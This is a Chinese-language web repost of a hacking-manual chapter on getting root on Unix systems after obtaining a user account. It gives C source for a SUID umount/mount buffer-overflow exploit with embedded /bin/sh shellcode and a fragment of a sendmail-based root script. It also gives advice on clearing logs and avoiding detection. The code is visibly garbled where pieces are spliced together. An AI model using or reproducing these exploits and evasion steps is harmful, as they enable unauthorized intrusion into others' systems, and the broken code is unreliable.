您現在的位置是:首頁 > 武術

獲取Root帳戶

  • 由 阿克蘇三德子 發表于 武術
  • 2022-04-20
簡介com time:0:00 date:xxxxxx————————————————————————————————————————Bugs(一些漏洞)不同的程式裡都有很多Bug可利用來取得root許可權.Bug可能是安裝在系統上的一個遊戲

怎樣獲取root許可權並使用

如我前面所說的,大多數情況下,你僅僅需要一個帳號就行了,如果你得不到系統的root,你可能會用它來和IRC迷換取其它帳號或一些對你hacking有幫助的資訊.本章有足夠的幫助資訊讓你即使你得不到root帳戶,也可留著系統以後再用.你可以把帳號先放一邊,把有關資訊記錄在一些log文件中,並做好備忘錄以便以後當有新的可利用漏洞被發現時你可以回憶起來:)

在你確信不會有失去帳號的危險之前不要輕易進入系統。記住:當你用一個帳號Login而又沒拿到root時,你就無法清除日誌文件(logs),這樣該使用者下次login時,就會看到這樣的資訊:

last login from xxx。com time:0:00 date:xx/xx/xx

————————————————————————————————————————

Bugs(一些漏洞)

不同的程式裡都有很多Bug可利用來取得root許可權.Bug可能是安裝在系統上的一個遊戲,或者甚至是sendmail程式.如果他們沒有定期升級程式,你可以確信肯定可以入侵(即使現在不行,也是很快就行).

我會在此提供一些主要的Exploit(這個詞動詞是"利用、使用、開發"的意思",名詞其實和bug意思差不多:譯註)和Bugs,其它不大常用的則在附錄裡介紹.我會給你詳細的英文條款,讓你能取得系統的root許可權.但請務必在行動之前先完整閱讀完下節和本手冊,以確定你以正確方式開始,並且不會搞得在系統裡呆得太久.

————————————————————————————————————————

Exploits(利用漏洞)

Umount/mount Exploit

在/bin目錄下尋找名為Umount(或mount)的檔案,如果你找不到,用下面的命令搜尋:

find / -name umount -print -dev

(你可用同樣的方式尋找任何檔案)

進入該檔案所在目錄並且:ls -al um*

如果檔案有SUID"s"標誌,你就可能拿到root.

SUID "s"使檔案屬主(這裡是root)有rws許可權。你要尋找的就是這個"s".

看這兒:

victim:/bin# ls -al um*

-rwsr-sr-x 1 root 8888 Mar 21 1995 umount

victim:/bin#

透過編譯下面的檔案我們就可以拿到此機器的root.

umount。c

———— cut here

/* sno。c : Linux realpath exploit

* Syntax: 。/sno N

* mount $WOOT

* OR umount $WOOT

* N is some number which seems to differ between 4 & 8, if your number is

* too big, you will get a mount error, if it is too small, it will seg

* fault。 Figure it out。 (Sometimes N=0 for mount)

* If you use mount, first thing to do once you get the root shell is rm

* /etc/mtab~, if this file exists you can‘t root with mount until it is

* removed。

*

*

* -ReDragon

*/

#define SIZE 1024

long get_esp(void)

{

__asm__(“movl %esp,%eax\n”);

}

main(int argc, char **argv)

{

char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */

int a,r;

char *ptr;

long *addr_ptr;

char execshell[] =

“\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f”

“\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd”

“\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh”;

char *exec_ptr = execshell;

r=atoi(argv[1]);

ptr = env;

memcpy(ptr,“WOOT=”,5); /* set environment variable to use */

ptr += 5;

for(a=0;a

*(ptr++) = 0x90;

while (*exec_ptr)

*(ptr++) = *(exec_ptr++);

addr_ptr = (long *)ptr;

*(addr_ptr++) = get_esp()+1139; /* 0xbffffc01 */

ptr = (char *) addr_ptr;

*ptr = 0; /* must end with null byte to terminate string */

putenv(env);

system(“/bin/mount $WOOT”);

}

——————- cut he_leshka。c;cc -o /tmp/smtpd smtpd。c

。/leshka

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ’ ‘|tr -cs “[:digit:]” “\n”|head -n 1`

rm leshka。c leshka smtpd。c /tmp/smtpd

cd /tmp

sh

—————— cut here

用chmod為文件加上執行許可權(+x):

chmod +x sm。sh

然後:

1.執行此檔案

2.它把你帶到/tmp目錄中

3.輸入ls -al 看在那裡是否有SUID sh 檔案。如果有,用whoami看自己是否是root,如果是的話,就執行。/sh檔案,這回你可看一看你是不是root了;)

我會在附錄裡放更多的指令碼程式,但目前這是取得linux和BSD上的root許可權的最好方法。如果你需要其它的BSD裡的exploit(可利用漏洞),可試一試附錄裡的crontab exploit for BSD。

Top